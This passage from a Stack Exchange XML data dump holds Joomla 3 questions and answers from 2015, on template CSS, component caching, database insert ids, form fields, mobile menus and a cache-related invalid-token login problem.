class=&quot;zentools zt-grid zt-responsive-grid &amp;lt;?php echo $class;?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php foreach ($list as $key =&amp;gt; $item) { &#xA;&#xA;        $item_class = '';&#xA;        if($item-&amp;gt;featured) {&#xA;            $item_class .= ' zt-featured';&#xA;        }&#xA;        ?&amp;gt;&#xA;            &amp;lt;li grid-col=&quot;1/&amp;lt;?php echo $options-&amp;gt;maxcols;?&amp;gt;&quot; class=&quot;zt-item&amp;lt;?php echo $item_class;?&amp;gt;&quot; &amp;lt;?php echo $match_height;?&amp;gt;&amp;gt;&#xA;                &amp;lt;?php foreach ($columns as $column =&amp;gt; $colwidth) { ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;zt-col zt-col-&amp;lt;?php echo $colwidth;?&amp;gt;&quot;&amp;gt; &#xA;                        &amp;lt;?php $elements = $layout-&amp;gt;$column;&#xA;                            $count = 0;&#xA;                            $total_elements = count((array)$elements);&#xA;&#xA;                            foreach ($elements as $type =&amp;gt; $element) {&#xA;&#xA;                                $settings-&amp;gt;count = $count;&#xA;&#xA;                                if($count == 1) { ?&amp;gt;&#xA;                                    &amp;lt;div class=&quot;zt-item-container&quot; &amp;lt;?php echo $match_height;?&amp;gt;&amp;gt;&#xA;                                &amp;lt;?php }&#xA;&#xA;                                $zen-&amp;gt;loadElement($element-&amp;gt;type, $element, $item, $settings, $zen);&#xA;&#xA;                                if($count == $total_elements) { ?&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;?php } &#xA;                                $count ++;&#xA;                            } ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;      &#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php if($lightbox-&amp;gt;enable) { $zen-&amp;gt;loadBlock('lightbox', $module, $settings); } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5544" LastEditorUserId="126" LastEditDate="2015-12-06T21:05:46.163" LastActivityDate="2015-12-07T02:49:48.290" Title="How to edit the link behavior of an image within a module" Tags="|joomla-3.x|module|url|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10752" PostTypeId="1" CreationDate="2015-07-08T21:34:56.397" Score="3" ViewCount="982" Body="&lt;p&gt;I am quite new to Joomla, and for me it is still difficult to move around, for example to change the style of some module or template by searching through the folders in the file system, but I guess that, this time, the only option is to modify directly the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the template &lt;a href=&quot;https://www.joomlart.com/joomla/templates/purity-iii&quot; rel=&quot;nofollow noreferrer&quot;&gt;Purity III&lt;/a&gt; and a module called &lt;code&gt;Search&lt;/code&gt; for a search box. I have placed this last one on the top right corner of the template, in the main menu, but the problem is the size of (the font and) cursor of the search box, as you can see from the following picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dDFdt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess this is a problem related to the template (and not the module), because if I put the search module in another position, the cursor's size has the &quot;right&quot; proportions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I guess I need to modify the template's code somewhere, but I really don't know where, there tons of &lt;code&gt;.css&lt;/code&gt; files long thousands of lines... These are basically the contents of the Purity 3 template's folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3vHqQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I am not a &lt;code&gt;php&lt;/code&gt; programmer, even if I can understand part of its syntax, this doesn't help too much, but I guess I have just to modify a &lt;code&gt;.css&lt;/code&gt; file, so I would need to go into the &lt;code&gt;css&lt;/code&gt; folder...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from this, is there a tutorial that explains how easily we can find and modify the files directly of a templte/module/extension, at least a guide that explains what the folders usually contain, etc?&lt;/p&gt;&#xA;" OwnerDisplayName="user1756" LastEditorDisplayName="user1756" LastEditDate="2015-07-08T22:56:08.290" LastActivityDate="2015-07-08T23:03:01.217" Title="How to change the size of the entry box of a search module?" Tags="|joomla-3.x|module|templates|fix-my-code|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10753" PostTypeId="1" CreationDate="2015-07-08T22:08:53.330" Score="1" ViewCount="548" Body="&lt;p&gt;I'm having some issues with caching my component output as the user state variables seem to be ignored. I've added them to my controller as follows which works fine when submitting the filter form on the front-end, not so much however when clicking on the next pagination item at which point it just ignores the variables (since they're not in the request).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display($cachable = true, $urlparams = array()) {&#xA;    $app = JFactory::getApplication();&#xA;    $input = $app-&amp;gt;input;&#xA;    $view = $input-&amp;gt;getCmd('view', 'foo');&#xA;    $input-&amp;gt;set('view', $view);&#xA;&#xA;    $context = 'com_foobar.'.$view;&#xA;    if($list = $app-&amp;gt;getUserStateFromRequest($context.'.list', 'list')) $urlparams['list'] = $list;&#xA;    if($filter = $app-&amp;gt;getUserStateFromRequest($context.'.filter', 'filter')) $urlparams['filter'] = $filter;&#xA;&#xA;    parent::display($cachable, $urlparams);&#xA;&#xA;    return $this;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I make my component display the correct cached output, taking state variables into consideration?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="91" LastActivityDate="2015-07-09T06:29:12.737" Title="Caching component output based on user state variables" Tags="|joomla-3.x|component|cache|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10754" PostTypeId="2" ParentId="10752" CreationDate="2015-07-08T22:38:21.850" Score="4" Body="&lt;p&gt;I managed to do it, so I will describe the process that I followed, in case other newbies like me have similar problems. I am on a Mac OS X, and I am using Safari, which allows me to &lt;em&gt;inspect the code&lt;/em&gt; and &lt;em&gt;modify it in real time&lt;/em&gt;. The process should be similar with Chrome/Firebug/Dev Tools...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I opened the website page with the &lt;em&gt;search box&lt;/em&gt;. Over the search box, I right-clicked, and I selected &lt;em&gt;Inspect Element&lt;/em&gt;, like in the following picture (note that in the picture, the style of the search box/cursor has already been modified!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tmMKW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and an integrated window pops up with both the html and css code related to the element we want to inspect, that is the search box. The html code that we are interest in should by default be highlighted, like in the following picture&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PjrNq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the right side, the code related to this html element should also appear, and this is actually the code that I modified. In the css code, click on &lt;code&gt;template.css:2582&lt;/code&gt;, like in the following picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5jUqc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The middle editor should now be set to edit the css code (instead of the html code), like in the following picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xy0er.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to modify the code and see the results immediately. Note that these modifications will not change the actual files with the code, you have to do it later manually!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note on the right side, there's a grey panel. You can see from there the file you are now modifying temporarily:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fUf55.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go there, using for example the terminal, and modify the actual code with the code you want your search box to look like. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You my need to change the &lt;em&gt;file permissions&lt;/em&gt; to make that file &lt;em&gt;writable&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had also to modify the file with the same name (&lt;code&gt;template.css&lt;/code&gt;), under &lt;code&gt;/templates/purity_iii/css/&lt;/code&gt;. Don't ask me why, but if I didn't, it would have not worked. &lt;/p&gt;&#xA;" OwnerDisplayName="user1756" LastEditorDisplayName="user1756" LastEditDate="2015-07-08T23:03:01.217" LastActivityDate="2015-07-08T23:03:01.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10755" PostTypeId="2" ParentId="10753" CreationDate="2015-07-09T06:29:12.737" Score="3" Body="&lt;p&gt;You should pass to &lt;code&gt;$urlparams&lt;/code&gt; an array where the keys are variable names and values are the corresponding filters of this variables. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$urlparams = array(&#xA;    'catid' =&amp;gt; 'INT',&#xA;    'id' =&amp;gt; 'INT',&#xA;    'cid' =&amp;gt; 'ARRAY',&#xA;    'year' =&amp;gt; 'INT',&#xA;    'month' =&amp;gt; 'INT',&#xA;    'limit' =&amp;gt; 'UINT',&#xA;    'limitstart' =&amp;gt; 'UINT',&#xA;    'showall' =&amp;gt; 'INT',&#xA;    'return' =&amp;gt; 'BASE64',&#xA;    'filter' =&amp;gt; 'STRING',&#xA;    'filter_order' =&amp;gt; 'CMD',&#xA;    'filter_order_Dir' =&amp;gt; 'CMD',&#xA;    'filter-search' =&amp;gt; 'STRING',&#xA;    'print' =&amp;gt; 'BOOLEAN',&#xA;    'lang' =&amp;gt; 'CMD',&#xA;    'Itemid' =&amp;gt; 'INT'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This array is used to build the cache in the parent controller's &lt;code&gt;display()&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;/libraries/legacy/controller/legacy.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Display the view&#xA;if ($cachable &amp;amp;&amp;amp; $viewType != 'feed' &amp;amp;&amp;amp; $conf-&amp;gt;get('caching') &amp;gt;= 1)&#xA;{&#xA;    $option = $this-&amp;gt;input-&amp;gt;get('option');&#xA;    $cache = JFactory::getCache($option, 'view');&#xA;&#xA;    if (is_array($urlparams))&#xA;    {&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        if (!empty($app-&amp;gt;registeredurlparams))&#xA;        {&#xA;            $registeredurlparams = $app-&amp;gt;registeredurlparams;&#xA;        }&#xA;        else&#xA;        {&#xA;            $registeredurlparams = new stdClass;&#xA;        }&#xA;&#xA;        foreach ($urlparams as $key =&amp;gt; $value)&#xA;        {&#xA;            // Add your safe url parameters with variable type as value {@see JFilterInput::clean()}.&#xA;            $registeredurlparams-&amp;gt;$key = $value;&#xA;        }&#xA;&#xA;        $app-&amp;gt;registeredurlparams = $registeredurlparams;&#xA;    }&#xA;&#xA;    $cache-&amp;gt;get($view, 'display');&#xA;}&#xA;else&#xA;{&#xA;    $view-&amp;gt;display();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see it is used for &lt;code&gt;$app-&amp;gt;registeredurlparams&lt;/code&gt; which is used in the &lt;code&gt;JCache&lt;/code&gt; class to make the unique id of the cache in the &lt;code&gt;makeId()&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;/libraries/joomla/cache/cache.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Create safe id for cached data from url parameters set by plugins and framework&#xA; *&#xA; * @return  string   md5 encoded cacheid&#xA; *&#xA; * @since   11.1&#xA; */&#xA;public static function makeId()&#xA;{&#xA;    $app = JFactory::getApplication();&#xA;&#xA;    $registeredurlparams = new stdClass;&#xA;&#xA;    // Get url parameters set by plugins&#xA;    if (!empty($app-&amp;gt;registeredurlparams))&#xA;    {&#xA;        $registeredurlparams = $app-&amp;gt;registeredurlparams;&#xA;    }&#xA;&#xA;    // Platform defaults&#xA;    $defaulturlparams = array(&#xA;        'format'    =&amp;gt; 'WORD',&#xA;        'option'    =&amp;gt; 'WORD',&#xA;        'view'      =&amp;gt; 'WORD',&#xA;        'layout'    =&amp;gt; 'WORD',&#xA;        'tpl'       =&amp;gt; 'CMD',&#xA;        'id'        =&amp;gt; 'INT'&#xA;    );&#xA;&#xA;    // Use platform defaults if parameter doesn't already exist.&#xA;    foreach ($defaulturlparams as $param =&amp;gt; $type)&#xA;    {&#xA;        if (!property_exists($registeredurlparams, $param))&#xA;        {&#xA;            $registeredurlparams-&amp;gt;$param = $type;&#xA;        }&#xA;    }&#xA;&#xA;    $safeuriaddon = new stdClass;&#xA;&#xA;    foreach ($registeredurlparams as $key =&amp;gt; $value)&#xA;    {&#xA;        $safeuriaddon-&amp;gt;$key = $app-&amp;gt;input-&amp;gt;get($key, null, $value);&#xA;    }&#xA;&#xA;    return md5(serialize($safeuriaddon));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bzzzz.biz/blog/joomla/joomla-1.6.-cache-changes-for-extension-developers-jennifer-series-2.bzzzz&quot; rel=&quot;nofollow&quot;&gt;This great article&lt;/a&gt; will explain more about Joomla cache.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-07-09T06:29:12.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10756" PostTypeId="1" CreationDate="2015-07-09T08:56:51.930" Score="0" ViewCount="891" Body="&lt;p&gt;Does Joomla provide any kind of APIs to publish articles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Ruby on Rails application for content authoring and need to publish articles to different site which runs on Joomla&lt;/p&gt;&#xA;" OwnerUserId="5546" LastActivityDate="2015-09-11T11:43:30.480" Title="API to publish articles on Joomla" Tags="|joomla-api|restful-api|" AnswerCount="1" CommentCount="0" ClosedDate="2015-09-12T19:49:07.063" ContentLicense="CC BY-SA 3.0" />
  <row Id="10757" PostTypeId="1" AcceptedAnswerId="10763" CreationDate="2015-07-09T11:38:44.117" Score="0" ViewCount="1925" Body="&lt;p&gt;I had built a multilingual Joomla 3.4.1 site last week, it uses a modified version of Protostar template with horizontal menu (&quot; nav-pills&quot;). When I'm browsing my site on PC it's okay:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/d3GQQ.jpg&quot; alt=&quot;PC browser 800+ px&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under width:768px my menu partially disappears, I can see only the active item:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZgMoH.jpg&quot; alt=&quot;Under 768px&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On PC I can see menu items when I'm hovering with my mouse but on mobile devices in portrait mode I can not hover because there is no mouse. I just can click somewhere and the site or a sub-menu will load.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hR4xC.jpg&quot; alt=&quot;on hover&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nnCdb.png&quot; alt=&quot;iPhone portrait&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix the menu on mobile devices if in portrait mode width is lower than 768 px?&lt;/p&gt;&#xA;" OwnerUserId="5548" LastActivityDate="2015-07-10T08:50:55.783" Title="Protostar menu problem on mobile devices" Tags="|joomla-3.4|menu|mobile-web-design|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10758" PostTypeId="1" CreationDate="2015-07-09T12:40:16.990" Score="1" ViewCount="1705" Body="&lt;p&gt;I would like to get the &lt;code&gt;id&lt;/code&gt; of the last saved dataset in a JTable-Operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I got this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Create and populate an object.&#xA;$value         = new stdClass();&#xA;$value-&amp;gt;userid = (int)$userid;&#xA;$value-&amp;gt;type   = $data['type']; &#xA;&#xA;// Insert the object into the user profile table.&#xA;$handle = JFactory::getDbo()-&amp;gt;insertObject('#__bestia_handles', $value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I would like to get the &lt;code&gt;id&lt;/code&gt; of this saved object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$handle&lt;/code&gt; only contains &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastEditorUserId="12352" LastEditDate="2018-06-19T23:54:52.933" LastActivityDate="2018-06-19T23:54:52.933" Title="How to get the generated id after a successful INSERT query?" Tags="|joomla-3.4|mysql|jdatabase|jtable|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10759" PostTypeId="2" ParentId="10758" CreationDate="2015-07-09T12:47:17.980" Score="2" Body="&lt;p&gt;Solved it :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just define &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db                         =   JFactory::getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and after &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;insertObject(...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm able to call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;insertid();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-07-09T12:47:17.980" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10760" PostTypeId="1" AcceptedAnswerId="10761" CreationDate="2015-07-09T12:58:51.257" Score="4" ViewCount="825" Body="&lt;p&gt;I read &lt;a href=&quot;https://docs.joomla.org/Standard_form_field_types&quot; rel=&quot;nofollow&quot; title=&quot;here&quot;&gt;here&lt;/a&gt; that there's a new range form field type since J! 3.2 that will provide a horizontal scroll bar to specify a value in a range. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I opened the &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/Range_form_field_type&quot; rel=&quot;nofollow&quot; title=&quot;description page&quot;&gt;description page&lt;/a&gt;, there is no instruction how to use it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody knows how to use it?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-07-09T13:10:12.130" Title="Range form field type" Tags="|xml|module-params|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10761" PostTypeId="2" ParentId="10760" CreationDate="2015-07-09T13:10:12.130" Score="4" Body="&lt;p&gt;When ever in doubt about Joomla's form fields, have a look at the following directory, where you will find each one.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;libraries/joomla/form/fields&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To get a range form field, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;    name=&quot;range&quot; &#xA;    type=&quot;range&quot; &#xA;    default=&quot;1&quot; &#xA;    label=&quot;Choose a number&quot; &#xA;    description=&quot;&quot; &#xA;    min=&quot;1&quot; &#xA;    max=&quot;10&quot; &#xA;    step=&quot;1&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above will give you a slider ranging from &lt;code&gt;1&lt;/code&gt; to &lt;code&gt;10&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this doesn't show you the number you have chosen on the slider, so you will be to use the &lt;code&gt;onchange=&quot;&quot;&lt;/code&gt; attribute or maybe override the form field.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-09T13:10:12.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10762" PostTypeId="2" ParentId="10751" CreationDate="2015-07-09T13:38:30.880" Score="0" Body="&lt;p&gt;Try setting an alternative link for the article itself, under the links and images tab: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/quNRE.png&quot; alt=&quot;article link settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-07-09T13:38:30.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10763" PostTypeId="2" ParentId="10757" CreationDate="2015-07-09T13:44:48.117" Score="0" Body="&lt;p&gt;I can't give you any specific code as you have provided any of your own, nor a link to your site for a live preview, but to answer your question in regards to targeting a width of lower than 768px with the orientation as portrait, you can use the following CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media (max-width: 768px) and (orientation: portrait) {&#xA;    .nav-pills &amp;gt; li &amp;gt; a {&#xA;        background-color: #1947d1;&#xA;        border-right: 4px solid #ed1c24;&#xA;        color: #fff;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-07-10T08:50:55.783" LastActivityDate="2015-07-10T08:50:55.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10765" PostTypeId="1" CreationDate="2015-07-09T15:48:39.453" Score="2" ViewCount="859" Body="&lt;p&gt;I was searching for a module or plugin or an extension in general that allows me to show Python code with the syntax highlighted. I found 2 extensions, namely &lt;a href=&quot;http://extensions.joomla.org/profile/extension/core-enhancements/coding-a-scripts-integration/display-code&quot; rel=&quot;nofollow&quot;&gt;Display Code&lt;/a&gt; and &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/flexi-custom-code&quot; rel=&quot;nofollow&quot;&gt;Flexi Custom Code&lt;/a&gt;, but I guess they do not provide syntax highlighting for Python, am I right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an extension for Joomla 3 that does exactly I what I want? &lt;/p&gt;&#xA;" OwnerDisplayName="user1756" LastActivityDate="2015-07-09T17:59:55.663" Title="Is there a module that allows us to show Python code in a Joomla article?" Tags="|module|plugin|extensions|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10766" PostTypeId="2" ParentId="10765" CreationDate="2015-07-09T16:28:53.347" Score="1" Body="&lt;p&gt;I suppose you could use &lt;a href=&quot;http://extensions.joomla.org/extension/hs-highlighter&quot; rel=&quot;nofollow&quot;&gt;HS Highlighter&lt;/a&gt; which support the syntax for Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's free and has fairly good ratings. I would however take note of the last review that was posted regarding Google Webmaster Tools. I do not know if this is true or not, however, it would be something to consider contacting the developer about, just in case page rankings is something that's important to you&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-09T16:28:53.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10767" PostTypeId="1" CreationDate="2015-07-09T16:50:16.193" Score="3" ViewCount="7058" Body="&lt;p&gt;I have been searching already for a while on how to show a list of categories that shows also subcategories, something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uJ7eu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, the list of contents only shows a subcategory level (or the articles' names in the category), but I would like to possibly show as many subcategories as I like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to create a category list or blog, but the output is not what I want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Itai.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I have to click on &lt;code&gt;Intro&lt;/code&gt; (which is a subcategory of the category &lt;code&gt;Basics&lt;/code&gt; set to the menu). What I would like to obtain is a list of the categories' names, with sublists containing lists to subcategories and/or articles, so that I can click and move around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is not possible with the Joomla's core modules, is there some module that allows me to obtain this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could create a list of links with all sublists of links with the editor manually, but it would be nice if a module could do it for us.&lt;/p&gt;&#xA;" OwnerDisplayName="user1756" LastEditorDisplayName="user1756" LastEditDate="2015-07-09T17:01:27.343" LastActivityDate="2018-01-10T17:55:40.810" Title="Best way to show a list of categories that shows also all subcategories?" Tags="|joomla-3.x|category|subcategories|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10770" PostTypeId="1" AcceptedAnswerId="10772" CreationDate="2015-07-10T07:32:46.117" Score="2" ViewCount="1448" Body="&lt;p&gt;Joomla 3.4.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping somebody could briefly explain this for me. I am not that familiar with tokens, sessions or cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site was working fine with no issues however I decided to enable the &quot;System-Cache&quot; plug-in and set &quot;Use Browser Caching&quot; to Yes. Since doing this I have been unable to login to the website, each time I receive a blank page with an error &lt;code&gt;Invalid token&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have since disabled this plugin, cleared cache and all is working well again, no login issues. So am I not able to use browser caching? Perhaps I should be doing something else? I couldn't find any definitive answers to this question, lots of people suggesting different solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tested with Chrome and IE if that matters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="12352" LastEditDate="2019-11-16T22:52:08.960" LastActivityDate="2019-11-16T22:52:08.960" Title="Invalid Token - Login Issue" Tags="|joomla-3.x|login|cache|security-token|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10771" PostTypeId="1" CreationDate="2015-07-10T09:22:19.173" Score="2" ViewCount="559" Body="&lt;p&gt;Does anyone know how to change Joomla's media manger base bath dynamically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or conversely if I specify a folder with the URL, can I set that to be the base path and stop users going further up in the directory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, images is the base and I set the folder as apples in the URL. This displays the images/apples folder, can I stop users going back to images? Because the folder apples will be declared dynamically from within my component?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3634" LastEditorUserId="3650" LastEditDate="2016-03-08T00:26:44.343" LastActivityDate="2017-01-03T08:09:55.287" Title="Changing Joomla 3's media manager base path dynamically" Tags="|joomla-3.x|component|media-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10772" PostTypeId="2" ParentId="10770" CreationDate="2015-07-10T09:30:11.290" Score="2" Body="&lt;p&gt;There have been a lot of known (yet unfixed) issues with the System Cache plugin &lt;strong&gt;and&lt;/strong&gt; Use Browser Caching when trying to login. A lot of people have reported an Invalid Token.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some other things that could be causing this. So try the following (some may not apply to your specifically)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disable apache's &lt;code&gt;mod_cache&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Disable the server Memcache feature&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;em&gt;Use Browser Caching&lt;/em&gt; to &lt;strong&gt;Off&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Clear all cache and cookies from your browser&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you require caching, I'd recommend going with a dedicated caching extension. Perhaps &lt;a href=&quot;http://extensions.joomla.org/extension/jotcache&quot; rel=&quot;nofollow&quot;&gt;JotCache&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-10T09:30:11.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
